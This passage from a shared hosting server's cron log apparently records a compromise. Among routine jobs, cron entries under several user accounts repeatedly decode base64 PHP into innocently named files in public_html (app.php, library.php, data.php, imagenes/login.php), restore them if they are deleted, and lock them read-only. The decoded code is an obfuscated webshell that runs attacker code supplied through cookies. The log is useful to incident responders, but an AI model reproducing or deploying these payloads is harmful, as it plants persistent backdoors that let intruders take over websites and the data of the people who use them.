WdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:47:01 medusa CROND[30956]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:47:01 medusa CROND[30957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:47:01 medusa CROND[30958]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:47:01 medusa CROND[30959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:47:01 medusa CROND[30960]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:47:01 medusa CROND[30962]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 13:47:01 medusa CROND[30963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:47:01 medusa CROND[30966]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:47:01 medusa CROND[30967]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:48:01 medusa CROND[32665]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:48:01 medusa CROND[32666]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:48:01 medusa CROND[32667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:48:01 medusa CROND[32668]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:48:01 medusa CROND[32669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:48:01 medusa CROND[32670]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:48:01 medusa CROND[32671]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:48:01 medusa CROND[32672]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:48:01 medusa CROND[32675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:48:01 medusa CROND[32676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:48:01 medusa CROND[32678]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:48:01 medusa CROND[32680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:48:01 medusa CROND[32681]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:49:02 medusa CROND[2067]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:49:02 medusa CROND[2069]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:49:02 medusa CROND[2068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:49:02 medusa CROND[2070]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:49:02 medusa CROND[2071]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:49:02 medusa CROND[2072]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:49:02 medusa CROND[2073]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:49:02 medusa CROND[2075]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKI